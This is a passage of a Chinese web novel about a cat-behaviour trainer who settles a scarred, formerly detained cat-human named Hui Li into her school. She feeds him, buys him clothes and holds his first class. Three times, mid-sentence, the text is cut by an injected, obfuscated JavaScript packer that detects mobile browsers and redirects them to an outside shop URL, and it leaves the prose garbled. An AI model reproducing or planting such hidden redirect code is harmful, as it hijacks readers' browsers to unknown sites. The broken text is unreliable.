《坏猫!请重修猫德!》 3. 同居生活开始了 江有鱼一边带着灰狸熟悉环境,一边也不动声色地打量他。 灰狸虽然并未表现出瑟缩、惊恐的情绪,也没有炸毛,但江有鱼依然能看出来,灰狸很紧张。 他的尾巴始终夹在两腿之间,紧贴着地面,这是一个警惕的姿势,代表他随时可能会进攻,或者逃跑。 猫到了新环境,紧张是常事,好在有很多道具,可以安抚猫的情绪。 比如,猫薄荷。 江有鱼从储藏室里拿出一个猫玩具,那是一个棉花做的胖鲤鱼,鱼里填了猫薄荷。 江有鱼晃动着那个猫玩具,引起灰狸的注意:“灰狸,你想要这个吗?” 灰狸盯着她的手,眼神十分疑惑,似乎不懂她的意思,也不认识她手上的东西是什么。 是没见过猫玩具,所以不认识吧。江有鱼心中涌上一阵怜惜:“这是给你扑着玩的。” 说罢,她把胖鲤鱼往空中一抛。 运动的物体总是会激起猫的捕猎本能,灰狸下意识地往空中跃去,双掌一扑,将那条鱼从空中捉下来。 江有鱼期待着看到,灰狸被猫薄荷迷倒的表情,谁知,事情发展却出乎她意料。 灰狸扑到玩具的瞬间,忽然发出一声愤怒的咆哮,吓得江有鱼浑身一抖。 灰狸浑身毛发炸起,啪一声将那条猫薄荷鱼从窗口甩飞出去,似乎那是个魔鬼一般。 随即,他转身,用血红的独眼瞪着江有鱼。 此时的灰狸,极度危险! 江有鱼被他的气魄所摄,吓得呆在原地。 虽然是有些猫对猫薄荷不感冒,但灰狸的表现,好像是极度厌恶猫薄荷,这太奇怪了! 用手环惩戒他吗?江有鱼下意识地动了一下右手腕,心里却满是犹豫。 她一向反对用体罚教导小猫,尤其她跟灰狸之间,还没建立起任何信任度,若是电击了他,他们的关系也就彻底完蛋了。 灰狸可不知道她在想什么,见她动了一下右手,猛地向她扑过来。 千钧一发之际,大门忽然被推开,一个光头壮汉拿着猫薄荷鱼进来,满脸不爽。 “谁随便从窗户往外扔东西?砸人脑袋上了知道吗?” 忽然有人进门,灰狸猝不及防,脚步立刻停下来,进攻状态也消失了。 江有鱼松了一口气,连忙迎上去道歉:“不好意思大哥,小猫不懂事!” 好在这玩具是棉花做的,也没打痛人,壮汉抱怨两句就算了:“以后注意点!” 江有鱼点头哈腰把壮汉送出门,回头再看时,灰狸已经恢复了冷静。 她不敢再让灰狸看见猫薄荷鱼,赶快把它塞进了玄关柜。 随后,她又洗了洗手,确保已经没有猫薄荷的味道,这才走向灰狸。 灰狸看着她走上前来,瞳孔竖成一条线,默默伏低了身子。 江有鱼挠挠头,不好意思地开口了:“对不起呀,我不知道你不喜欢猫薄荷。” “让你闻到不喜欢的味道,真是太抱歉了,原谅我,好吗?” 灰狸万万没想到会听见这种话,震惊地瞳孔滚圆。 江有鱼的话还没说完:“现在,咱们去选房间吧?为了表示我的歉意,我一定给你布置一个最舒服的床铺!” 她一边说,一边就往楼上走,走了几步,看灰狸还待在原地,回头招手道:“快过来呀?” “你……不电击我吗?”一个迷人的少年嗓音响起,柔和清澈,如竖琴在月下鸣响,让人闻之忘忧。 这声音太好听,也太不符合灰狸给人的印象,江有鱼一时间愣了两秒,随后才反应过来。 是灰狸!灰狸开口跟她说话了! 江有鱼顿觉人猫关系有了进展,她按捺住心中激动,摆出一副专业的架势开口了。 “怎么会呢?我是猫德训练师,用体罚的方式教育小猫有违职业道德。” 灰狸看上去半点不信:“人类都没什么职业道德。” 江有鱼自信地昂起头:“别人是别人,我是我。” “我是专业的猫德训练师,你有事情做得不好,我可能会教导你,但我承诺,我永远不会体罚你的。” 灰狸没说话,但江有鱼看见,他的尾巴稍微上扬了一点。 猫德学院一楼是课堂与会客处,平常给小猫上课,二楼则是江有鱼的住处和学员宿舍。可惜这波学员除了阿橘,都是走读的,以致于宿舍都空置几个月没打扫了。 江有鱼带着灰狸一间间去看:“怎么样?有没有满意的?” 最终,灰狸选中了一个带天窗的房间。 他伸手推开天窗,望着外面平坦的屋顶,十分欣赏地点了点头。 灰狸大爷点头了,江有鱼立刻吭哧吭哧为灰狸收拾起房间,一干就是一上午。 抹灰、擦地、通风自不用说,江有鱼还为灰狸布置好了整套的家具。 柔软的床垫、巨大的穿衣镜、剑麻猫抓柱、舒适的摇摇椅、颜色可爱的小桌子…… 江有鱼对自己的布置很满意:这套家具是她精心挑选,肯定能抚慰小猫心! 灰狸打量着焕然一新的房间,脸上的表情依旧冷漠,没说好,也没说不好。 江有鱼拿来一个枕头,拍打松软,放在床上:“我说到做到,你要不要试试世界上最舒服的床铺?” 灰狸犹豫地走上前,却没有直接躺下,而是先嗅了嗅床垫的味道,又试探性地用手掌按了按床铺,好像害怕里面藏了钉子。 江有鱼铺的是最优质的羽绒床垫,灰狸的手一摁上去,便立刻下陷,被温暖的织物轻柔包裹,如同跌进云层。 灰狸的眼睛不可思议地睁大了,连尾巴都忽然直直翘了起来! 虽然他还在故作镇定,但江有鱼已经从肢体动作看出了他的心思:柔软的就像妈妈肚皮一样…… 果然,一分钱一分货,这个高级床垫买的真值啊! 她想灰狸八成是满意的,看看时间已经到了下午,她也得给几个走读学员上课了。 按理说灰狸也要去上,但他刚来,还是先熟悉一下环境,上课不急于一时。她便温声道:“你先休息一下吧,晚上吃饭的时候我叫你。” 灰狸没吭声,似乎是默认了,她便离开了房间,贴心地关好了门。 走到楼梯口,她始终是不放心,脱掉鞋子悄声走回去,从门缝里偷偷去看灰狸。 这一看,她险些没被萌晕过去,连忙捂住了嘴。 灰狸居然在床上踩奶! 满面疤痕的独眼少年蹲坐在床上,陶醉地叼着被褥,两手有节奏地在床垫上推来推去,还发出惬意的猫呼噜声。 果然啊,灰狸还是一只幼猫呢。 江有鱼的心情忽然变得很好,她蹑手蹑脚离开房门口,哼着歌走下楼去。 下午的课程是带猫学员外出,做社会化训练,她今天心里惦记着灰狸,没有走太远。 课程结束后,江有鱼来到菜市场,买了一只鸡。随后,她看了看支付宝余额,一咬牙又买了条鱼。 想要征服小猫心,就必须抓住小猫胃,投喂什么的,最能促进人猫感情了! 类人猫因为有了人类的基因序列,人能吃的东西他们都能吃。不过大部分主人嫌做饭麻烦,依然选择喂他们猫粮。 但猫咪也跟人一样,相对于压缩干粮,更喜欢菜肴。所以江有鱼倾向于做饭给他们吃,毕竟她自己也要吃饭。 今夜,江有鱼晚饭做得特别精心,先是炖了鸡汤,又把鱼从中间片开,一半清蒸,给舌头敏感的灰狸吃;一半红烧,给口味重的自己吃。 做完饭,她上楼敲了敲灰狸的门:“吃饭了!” 灰狸一看就是睡了一下午,头上呆毛乱翘,梦游似的跟在她身后飘下来。不过,当闻到食物香气时,他鼻子抽动,一下子就醒了过来。 江有鱼把清蒸鱼和一碗鸡汤推到灰狸面前,还夹了一个鸡腿给他:“都是你的,吃吧。” 她也饿得不行了,给灰狸盛过饭后,自己也立刻动筷子。 灰狸看着她把饭菜都尝过一遍,这才试探着喝了一口汤。 下一秒,灰狸瞳孔睁大,眼里竟然放出绿幽幽的狼光,双手捧起那碗汤,咕咚咚喝个底朝天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837524|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 江有鱼看他那吃相,怕他噎住,忙道:“慢点吃!没人跟你抢!” 灰狸充耳不闻,汤喝完了,又拿起鸡腿啃起来,连鸡腿骨也嚼着吃了,牙齿咀嚼骨头咯吱做响,配合他的独眼和疤痕,样子极度凶神恶煞。 灰狸吃完鸡腿,又对清蒸鱼虎视眈眈,江有鱼怕他把清蒸鱼也一口吞了,卡住鱼刺可不得了。 她连忙举起筷子,去剔鱼刺。灰狸不懂她在干什么,发出了护食的咆哮。 “鱼刺会卡住喉咙,很痛。”江有鱼轻声解释,并把自己碗里的鸡腿也夹给他,“没人跟你抢,你先吃这个,我把鱼刺剔掉再给你吃。” 江有鱼本以为灰狸又会风卷残云地吃掉鸡腿,谁知灰狸看了她一眼,吃饭的速度居然慢下来。 江有鱼剔刺的速度很快,没多久就把清蒸鱼剔成一碗净肉,往灰狸那边推了过去:“吃吧。” 接下来,她没有再管灰狸,埋头只顾着吃饭。鸡腿没有了,她便把鸡翅鸡胸笑纳了,连红烧鱼的汤汁都浇在米饭上吃光,这才感觉饥火平复下去。 放下饭碗,她这才发现自己推过去的那碗鱼肉纹丝没动,灰狸歪着头盯着她,不知道在想什么。 “咦?你不吃了吗?不合口味?” 灰狸轻哼一声:“这个,你不要吗?”。 这是分享食物的意思吗? 江有鱼大喜,果然,只要小猫吃了她的粮,就一定会上涨对她的好感度,这是客观规律!即使是灰狸也逃不过。 她笑着摇摇头:“我不吃,这都是给你的。” 灰狸移开眼睛:“我吃饱了。” 灰狸既然不吃,江有鱼便打算把剩菜放冰箱里,灰狸见食物要被拿走,又不满意了,用手抓着碗不让她动。 江有鱼只好哄道:“这些鱼肉给你留着,明天早上做成鱼肉粥给你吃。” “鱼肉粥是什么?” “我个人觉得,是比清蒸鱼更美味的东西。” 灰狸这才罢休,到一边舔爪子去了,江有鱼望着他的背影,对他明天上课的表现又多了几分信心。 才第一天,灰狸就有了很大进步,她一定能把灰狸变成好猫的! 一天就这样过去了,江有鱼把灰狸送回房间。 暖黄壁灯下,江有鱼看着他毛茸茸的耳朵和可爱的大眼睛,心里痒痒的。 真想摸摸他的头呀。 可是手背上的牙印仍在,江有鱼不敢轻举妄动。 最终,她只是笑着对灰狸说了一句:“明天你就要开始上课了,我相信,你这么聪明的猫,一定能成为一个好学员,对不对?” “现在,我来教你猫德第一课,在睡觉之前,小猫和人会互道晚安。” 江有鱼轻柔地说:“灰狸,晚安!” 灰狸却没做任何回应,翻身背对着她。江有鱼心中微微失望,但又告诫自己,不能操之过急。 她起身把壁灯关掉,屋内陷入一室黑暗:“没关系,慢慢来,总有一天,你能学会的。” 午夜十二点,江有鱼睡得很沉。 她卧室的门忽然无声地打开,一个灰影子站在门口。 那灰影似乎惊讶于江有鱼居然不锁门,一时愣在那里,半晌,才悄声溜了进来。 灰影绕着床徘徊了几圈,试探性地碰了碰她的右手。 江有鱼依然一动不动,灰影胆大起来,开始拨弄她手腕上的监管手环,试图将其解下来。 江有鱼在梦中皱了皱眉,不适地翻了个身。 灰影吓了一跳,噌一声钻进床底。 江有鱼哼哼唧唧地说起梦话:“灰狸……慢点吃……鱼肉粥都是你的……” 说完这句梦话,她不做声了,呼吸绵长均匀,看起来又睡沉了。 灰影子从床下爬了出来,神色复杂地望着她。 灰影伸手,摩挲她腕上手环,这次她没有动,灰影摸到她柔润的皮肤,像是床垫一样软。 良久之后,动的是灰影。 他收回了手,悄无声息地离开了她的卧室,静静把门带上,就好像从没有来过。 4. 花小钱,办大事 早上七点,江有鱼神清气爽地从床上醒来,觉得精神头十足。 想到昨天已经答应灰狸,要煮鱼肉粥给他吃,她赶快洗漱了一下,下楼去准备早餐。 八点,粥已经煮好了,江有鱼敲了敲灰狸房门:“灰狸?起床了!” 江有鱼敲了半天门,屋里没有任何回应,她索性直接推门进去。 只见灰狸在床上团成一个团,不耐烦地甩着尾巴,把脑袋扎进枕头里,眼睛死活不睁开。 灰狸的大尾巴真漂亮,毛发丰盈,蓬松柔软地像松鼠尾巴一样,江有鱼暗暗欣赏了一会儿,坐在床旁推了推他。 “八点钟了,好猫需要在这个时候起床哦,今天是你第一天上学,有很多准备要做,不能懒床。” “我才不做什么好猫!我不上学!” 灰狸烦躁地低吼一声,把脑袋往被窝里扎的更深了。 小猫的习性其实是昼伏夜出,根本不习惯起这么早,江有鱼应对学员赖床也不是一次两次了,她想了想,没有再叫灰狸,而是推门出去了。 房间里再次恢复了安静,灰狸的尾巴逐渐不甩了,他在一片安静里又进入了梦乡。 他梦到自己恢复了自由,在一片灰暗的都市中穿行,带着众兄弟冷酷地掠过一栋栋高楼大厦、一道道霓虹灯影,他登上摩天大楼,纵身一跃…… 嗯?落到了一条清蒸鱼身上? 灰狸被这诡异的梦吓得一个激灵,腾一声从床上坐起来。 再张开眼时,就看见江有鱼端着一个巴掌大的小碗坐在床边,小碗里飘出阵阵鱼肉的鲜香气息。 江有鱼拿起汤匙,慢条斯理地搅了搅碗里的粥,空气中的鱼香味更浓了。 灰狸的理智还没回笼,掩饰不住脸上的表情,忍不住咽了咽口水。 江有鱼循循善诱:“灰狸,你要尝尝吗?是鱼肉粥哦~” 灰狸直接伸手就要拿,却被早有准备的江有鱼闪开:“不行哦,如果在床上吃东西,说不定会弄脏这张床垫,晚上就不能睡了。” 她知道灰狸相当喜欢这床垫,果然,灰狸犹豫了一下,掀开被子从床上跳下来,又向她伸手。 很好,小猫在食物诱导下做出了正确的选择,得给予奖励。 江有鱼笑眯眯地把那个小碗递过去:“吃吧。” 灰狸也不用勺子,直接端起碗一仰脖子,便把碗里的粥都吞下去了。 鱼肉粥里加了白胡椒粉和姜末,米是东北粳米,用慢火把米油都煲了出来,鲜滑美味。 江有鱼刚刚已经先喝了半锅,暗叹自己的手艺是一绝,灰狸这没吃过几顿饱饭的小猫,怎能不被迷倒? 果然,粥一下肚,灰狸便两眼放光,看起来彻底清醒了。 他咂一下嘴,只觉还没尝够味道,粥便没了,十分珍惜地舔着那个小碗。 江有鱼憋着笑:“你还想要一碗吗?” 灰狸点头。 “下面的厨房里还有一些……” 这一次,不用江有鱼叫,灰狸就自己往楼下走去,江有鱼暗自得意。 既然食物对灰狸这么有用,就得给灰狸一个预期奖励。 趁着灰狸在桌边喝粥,江有鱼又在厨房忙开了,打蛋、煮牛奶、熬糖浆,空气里飘着好闻的甜香味。 灰狸看的好奇,指着那口煮着牛奶的小锅子问道:“那是什么?” “是甜点,我会把它做成蛋奶布丁,给表现最棒的学员吃。” 灰狸皱皱眉,他一向习惯想要什么就去拿,现在也不例外,于是伸手就想端走那口锅。 江有鱼连忙制止他:“不行!还没做好呢!需要放到冰箱里凝固了才能吃!” “它现在闻起来就不错。” “你要有点耐心,等它凝固了之后,会更加美味!我保证,只要你能坚持上一天的课,这三个布丁都是你的,好不好?” 江有鱼好说歹说,灰狸总算同意了:反正白天什么都做不成,上课就上课吧。反正不爱听他就睡觉嘛。 当然,这可不是为了布丁。 上午是不上课的,江有鱼便打扫了一下卫生,给学院拍了几张照片。 随后,她在最大的社交平台“喵知道”上注册了个账号,把照片发了出去,并配上标题“有鱼猫德学院招生,价格从优”。 她是个新号,曝光度自然不高,江有鱼满怀希望地刷新了半天后台,却没有任何点赞收藏,更谈不上有人联系她了。 算啦,现在想这些也没用,慢慢经营吧。 江有鱼将手机收起来,打量了一下灰狸。他身上穿着一套灰扑扑的衣服,看起来应该是看守所的制服。 灰狸入学第一天,穿成这样,可不合适呀。 得给灰狸买几身新衣服,再买些日用品! 这样想着,江有鱼便招呼灰狸了:“咱们出门逛逛,顺便给你买点东西。” 灰狸对买东西没什么兴趣,但他很喜欢出门,被捕之后,他就再没上过街了。于是他优雅地点了点头,表示同意。 江有鱼带灰狸去的地方,是萌芽街附近的秀水街,有许多服装商店。 这里的衣服价格很便宜,因为卖的主要是山寨货、微瑕品和断码尾单。江有鱼不是不想给灰狸买些好东西,但她现在囊中羞涩,只得如此。 衣服这东西,只要得体合身就好,牌子什么的不重要!灰狸也不会在乎的!江有鱼这样安慰自己。 走到一家店铺前,江有鱼看见一件军绿色工装外套,登时觉得十分适合灰狸。 她招呼老板把衣服拿下来,让灰狸去试穿:“你应该会穿衣服吧?” 灰狸翻个白眼,熟稔地拉开拉链,就往自己身上套。 灰狸肩宽背阔,气质冷酷,独眼和疤痕丝毫无损他的外貌,反而为他增添了神秘野性的气质,再穿上这件利落硬朗的外套,简直帅的能送去拍杂志! 老板眼睛都快放出光了:“这件衣服太合适他了,小姐,我给您包起来?” 江有鱼也觉得非常好看,正要买下来,但仔细一想,还是摇了摇头。 灰狸现在需要的是融入新环境、新群体,往冷酷硬汉方向打扮,反而会让人害怕他吧? 还是要给他塑造温柔和善的个猫形象! 这样想着,她带灰狸进了另一家店铺,招牌上是一串洋文,还画着一个金色皇冠logo。 灰狸不认识字,对洋文更是一窍不通,但他认识这个金色皇冠,好像是个很有名的牌子,在他的记忆中,这个品牌好像很高档,几乎只出现在市中心最豪华的商场里。 这家店的风格与刚才那家也截然不同,架子上挂着的衣服是一水儿的浅色系,不是鹅黄浅咖,就是米白淡蓝。款式也多是毛衣、衬衫,更为休闲轻盈。 江有鱼明显跟店主是熟人,一进门就大声打招呼道:“蓝姐,最近招财怎么样?” 原来蓝姐的猫招财也曾是江有鱼的学员,由于蓝姐性格豪爽,两人关系一直不错。 得知了江有鱼的来意,蓝姐大包大揽道:“放心,包我身上了!” 随即她打量了一下灰狸的尺码,便拿出个购物筐,从货架上抽出几件衣服,看都不看就扔进筐里:“喏,试一试。” 灰狸进去试衣间了,江有鱼便在外跟蓝姐闲聊,顺便也吐槽一下自己的倒霉事。 蓝姐安慰道:“你别急,你的教学质量很高,我回头在客人里给你宣传宣传,看能不能给你带来学员。” 江有鱼大喜,赶紧对着蓝姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837525|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 千恩万谢起来,蓝姐大方地一挥手:“咱们谁跟谁啊!” 试衣间帘子一响,两人同时转头看过去,江有鱼捂住嘴,险些叫出声来。 乖乖,真是人靠衣裳马靠鞍,灰狸穿上这身衣服,简直大变活猫啦! 只见他上身穿一件浅咖色衬衫,外搭米白针织开衫,穿一条奶油色阔腿裤,这身衣服把他身上的冷酷气质消磨了不少,哪里还像是道上人士,完全是清纯大学生! 灰狸局促地扯扯衣领,在外流浪,穿衣服最要紧是结实耐脏,他从没穿过颜色这么浅、这么柔软的衣服,反而手脚都不知道往哪里放。 他看看镜中的自己,几乎都不认识了,这像坨棉花的猫是谁? 江有鱼激动地握着蓝姐的手:“就是这个效果!蓝姐,结账吧!” 灰狸神色微变,瞟了一眼衣服的价签。 他虽然不识字,但是数字还能懂一些,知道数位越多,便代表着价格越贵。 而这几件衣服的价格,每个都超过了四位数,也就是人类所说的“几千元”,算是一大笔钱了。 “等等!”灰狸忽然开口了,“我不要这些,别买。” 江有鱼没想到他会反对:“咦?可是你穿着很好看呀。” 灰狸别过头去:“……颜色太浅,很容易就弄脏了。” “没关系,家里有洗衣机,脏了我就给你洗。” “它太薄太软了,一用力就会撕破。” “现在是春天,这种厚薄正合适,只要小心些穿,不会弄破的。” 灰狸想不出什么反对意见了。 他手指无措地拨弄着价签,垂下眼睛,轻声问道:“我穿这些,合适吗?” 江有鱼连连点头:“合适极了!你都不知道有多合适!今天是你第一天上学,就得穿这个!” 说到这里,她又有点心虚:“你要是觉得不好,也先将就一下吧,以后我有了钱,再给你买更好的。” 灰狸没有再回答,只是抬起头盯着她的眼睛,良久,才轻轻地点了点头。 见他同意了,江有鱼转问蓝姐:“一共多少钱?” 蓝姐正要回答,恰好其他客人看到灰狸穿的这身衣服好看,也扬声问道:“这套衣服多少钱?” 蓝姐看了一眼,见是生脸,便按照价签上的价格喊道:“2000!” 与此同时,她拿过桌上的计算器,快速地摁了个“200”,递给江有鱼看。 这是做生意常见的讨价还价手段,蓝姐这个价格给的还算实在,江有鱼心领神会,按了个150,双方用计算器讨价还价几轮,终究180成交。 江有鱼痛快地微信转了账,便带着灰狸出门继续逛了。 江有鱼又给灰狸买了些内裤、袜子、睡衣、毛巾等小东西,还有两双鞋子,一路精打细算,连五块钱的袜子都要还价。灰狸在一边看着,不禁问道:“……你很缺钱?” “以人类的标准来看,我现在确实缺钱。”江有鱼大大方方承认了:“幸好还能拿到照顾你的津贴,否则生活都要维持不下去了。” 很穷,却给他买这么贵的衣服吗? 灰狸摸了摸身上的衣服,崭新的针织衫轻暖如春阳,让他耳朵都忍不住抖了抖。 江有鱼在前面拎着大包小包走得飞快,满脑子都是购物清单,丝毫没察觉到灰狸的表情。 忽然,灰狸从后面追上了她,从她手中夺过了所有购物袋。 江有鱼手中一轻,疑惑道:“做什么?” 灰狸目不斜视地拿着大包小包:“给我买的,那就是我的了,自己拿着才最安心。” 小猫咪不仅护食,连这些东西都要护吗? 江有鱼耸了耸肩,无所谓,他高兴就好。 5.第一次上课 回到家之后,江有鱼匆匆煮了两碗汤面当午饭:“中午凑合吃,晚上再吃好的。” 逛了一上午,她早就饿了,这会子也顾不上什么了,唏哩呼噜地就开始吃面。 她吸溜吸溜吃了半碗,抬头一看灰狸,简直不敢相信自己的眼睛。 吃相一直如土匪一样的灰狸,现在动作要多优雅有多优雅,跟之前判若两猫! 灰狸夹起一根面,小心翼翼地等着汤汁完全滴落,这才伸长了脖子,一点点把面条送进嘴里。 江有鱼看着他一根一根的吃面条,风中凌乱了:“这东西有那么难吃吗?” 她吃着明明还行啊? 灰狸无声地指了指她的衣襟。 江有鱼低头一看,发现自己胸前已经溅上了几滴汤汁,再看灰狸,衣服上依然清清爽爽。 想不到小猫咪这么爱干净! 想到这里,江有鱼连忙拿出一个围裙:“要么你先穿这个吧,这样就不怕弄脏了。” 灰狸看着那粉红爱心围裙,高傲地扭过了脸:“太丑。” “吃完饭你就脱下来。” “不要。” 江有鱼拿他没办法,只好等着他慢条斯理地吃完,这时候,时钟已经指向一点半了。下午两点就要开始上课,她连忙刷了碗,又去布置教室。 灰狸踱步到落地窗,享受着午后的暖阳。 吃饱了的他昏昏欲睡,就想顺从猫的本能,躺在暖洋洋的地板上,睡个午觉。 不行!这衣服是江有鱼新给他买的! 这个念头忽然划过脑海,灰狸立刻从地上弹起来,他揉了两把脸,强迫自己离开阳光的诱惑,端正地坐在了沙发上,随后歪头打起了盹。 江有鱼从储物间里拿着教具出来,望着睡着的灰狸,嘴角也扬起一抹笑意。 灰狸这一觉没睡多久,一点五十开始,猫学员们就陆陆续续地到了。 算上灰狸,这一期有7只学员,分别是美短猫“泰哥”、德文猫“艾达”、布偶猫“王子”、暹罗猫“小喇叭”、曼基康猫“白糖”、加菲猫“周德福”。 当然,无一例外都是公的。猫咪们毕竟是动物,故而猫德学校基本都分男女班,省得上学上出了猫命。 上课前,江有鱼先安排了一个自我介绍环节:“接下来,让新同学灰狸跟大家打个招呼!” 猫学员们立刻捧场地啪啪鼓起掌来。 江有鱼心里有些忐忑,怕灰狸会紧张。 然而灰狸是谁?他可是混过江湖,进过局子的猫大佬,会怵几个傻乎乎的家猫? 进到一个新地方,第一件事情,必须要立威! 灰狸高昂着头,骄傲地迈着猫步走上前去。 虽然江有鱼着意把他往温软方向打扮,但是像灰狸这样的猫,身上冷冽的气质根本藏不住,一看就知道身上有故事! “我,叫做灰狸。但我更喜欢你们叫我‘大哥’。” “为人奴隶的同胞们,看看你们的样子,个个怯懦、蠢钝、软弱……难以相信,我灰狸居然沦落到要跟你们同处一室。” “不过,倘若你们识相,愿意叫我一声‘大哥’的话,我是不会欺负你们的。” 说到这里,灰狸向前倾身,扯出一个怪异的冷笑:“但要是你们不懂事,我也不介意,教教你们规矩。” 他独眼扫视全场,把学员们都镇住了,没有一个敢跟他对视,纷纷低下头去,胆子最小的白糖,吓得都不会动了。 江有鱼额头上冷汗直冒:怎么就忘了,这家伙是个危险分子? 她赶快上去,把还想说什么的灰狸推下去:“咳咳,灰狸同学的意思是,他来到这个班级很高兴,希望能跟大家交个朋友。” 猫学员们半信半疑,但还是犹犹豫豫地再次鼓掌,以示欢迎。 江有鱼擦去脸上冷汗:“现在我们正式开始上课,今天的课程是,如何分辨有毒物品……” 猫咪是一种好奇心很重的生物,而人类的家中,有许多有毒有害物品,例如消毒水、驱蚊液、电池等,都可能会对小猫造成致命伤害。 尤其猫咪有了人形之后,无论什么地方都能去,什么东西都能打得开,靠藏物品不让小猫接触,已经行不通了。 所以,猫德学院中很重要的一课,就是教会小猫识别有毒有害物品,以免误服。 毕竟,做一只健康长寿的猫,才是最大的猫德。 灰狸这下还真来了兴趣,他本以为猫德学院教的都是讨好人类的伎俩,想不到还真教些有用的。 分辨有毒有害物品对流浪猫来说也同样重要,他不禁端正了坐姿,开始认真听讲,打算学会后,去教导黎明会的兄弟们。 江有鱼拿出一排瓶瓶罐罐,邀请猫学员们上台嗅探瓶子里的气味。 “这里有七个瓶子,六种都对猫咪有害,大家需要用嗅觉分辨出,哪一瓶是对猫无害的。” “如果回答正确,那就可以获得一大包美味的猫饼干作为奖励哦!” 听到猫饼干,除了灰狸外,所有学员都跃跃欲试了。 第一个上台的猫学员是艾达,他嗅来嗅去,显然晕头转向。 江有鱼也不催他,当艾达指出他的答案时,江有鱼笑着摇摇头:“答错了。” 艾达没有答对,不免有点沮丧,但江有鱼还是拿出一块猫饼干作为奖励:“再接再励,说不定下次就能答对了。” 接下来学员们轮番上台,但没有一个能够答对。最终,江有鱼把目光转向了灰狸:“灰狸同学不来试试吗?” 灰狸犹豫了一下,耳朵趴下又竖起来,似乎在做心理斗争。最终,他深吸一口气站了起来,走上台去。 灰狸上前,挨个嗅了一下瓶子的气味,一个比一个恶心,闻着似乎全都有毒。 不过,他毕竟不同常猫,算得上是走南闯北,阅历丰富,且极为聪明。他知道什么是有毒:人类不会吃下去的东西都有毒。 也就是说,他只要找出哪一瓶是食物的味道就行了。 前三个瓶子很快被他认出来了,人类会拿这些瓶子刷地板、擦玻璃和洗衣服。 还有两个瓶子,灰狸只是稍作思考,也分辨了出来:人类会用它们清洁自己的皮肤和毛发。 但剩下的两个瓶子,就让他十分纠结了。 一个味道酸臭刺鼻,另一个闻起来带点苦味,这些到底是什么呢? 江有鱼看着灰狸在最后两个瓶子间纠结不定,心里暗暗给灰狸加油,他距离正确答案只要一步之遥了! 最终,灰狸选择了6号瓶子。 他在街上流浪的时候,经常路过一些餐饮店,有的店铺里就会传来这股子臭味,简直像是排泄物一样臭,可是好些人类还是吃的不亦乐乎。 人类既然吃了没事,那猫也可以吃吧? 他紧张地望向江有鱼,大尾巴甩来甩去。 迎接他的,是江有鱼大大的笑容:“恭喜灰狸同学!你答对了!真是世界上最聪明、最棒的小猫咪呀!” 说罢,她带头鼓起掌来,下面的猫学员也跟着鼓掌。 在掌声中,江有鱼拿出一大包猫饼干,像是颁发奖杯一样捧到灰狸手上,嘴里还唱着“聪明猫之歌”。 灰狸的表情都僵硬了,好像想笑,却又嫌丢面子,最后,他只是冷酷地抿了抿嘴,下台去了。 但是,他的尾巴却不像表情那么容易伪装,高高翘了起来,出卖了他真实的心情。 灰狸他,心里其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16839769|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实有点小得意。 江有鱼接下来便给大家讲解7个瓶子分别都是什么东西,并告知大家它们为什么有毒,又会给猫咪造成什么伤害。 她一边讲,一边反复把瓶子拿给小猫们闻嗅,力保他们都能记得住。 灰狸也听的很认真,通过江有鱼的介绍,他这才知道:6号瓶子里的液体,是一种叫做“螺蛳粉”的人类食物,虽然很臭,但对身体完全没有危害。 而他经历一番纠结,最终放弃的7号瓶子里,是布洛芬悬浊液。 那是一种人类常用药,但对猫咪来说是致命毒素,如果误服,会引起肝肾衰竭,甚至死亡。 江有鱼借此机会严正地警告了学员们:千万不能乱喝人类的杯子!倘若那天你的人类主人正在喝药水,你可就死翘翘啦! 这就是灰狸完全不知道的知识了,他一直以为人能吃的东西,猫都能吃。他连忙拿过7号瓶子,深深闻嗅,希望记住这个气味。 江有鱼看在眼里,喜在心里。 她还怕灰狸上课上到一半,就会睡觉或者走开呢,没想到他居然这么好学! 如果他不是流浪猫,而是在人类家中长大,一定会成为绝世好猫的吧? 很快,今天的“健康安全课”已经上完,接下来的课程,是“猫咪社交课”。 许多主人家中不只有一只猫,独生猫也可能会与其他养猫家庭一起露营、玩耍,所以一只有猫德的猫,不仅要对人落落大方,对同类也要亲切友好。 猫猫社交课就是培训猫咪社交礼仪的课程,这门课说起来高大上,其实就是让小猫咪们变成原型,凑在一块聊聊天、玩玩具。 学员们上了两小时的课,早就盼着能够放松了,毕竟,谁不喜欢玩呢? 江有鱼将桌椅搬开,清出一大片空地,将所有猫玩具都拿了出来,当然,她谨慎地将所有含猫薄荷的玩具都挑了出去。 她这边正忙着,忽然接到一个电话:“喂?哪位?” 电话那头传来一个盛气凌人的声音:“我是石小姐!阿橘的学费你什么时候还我?” 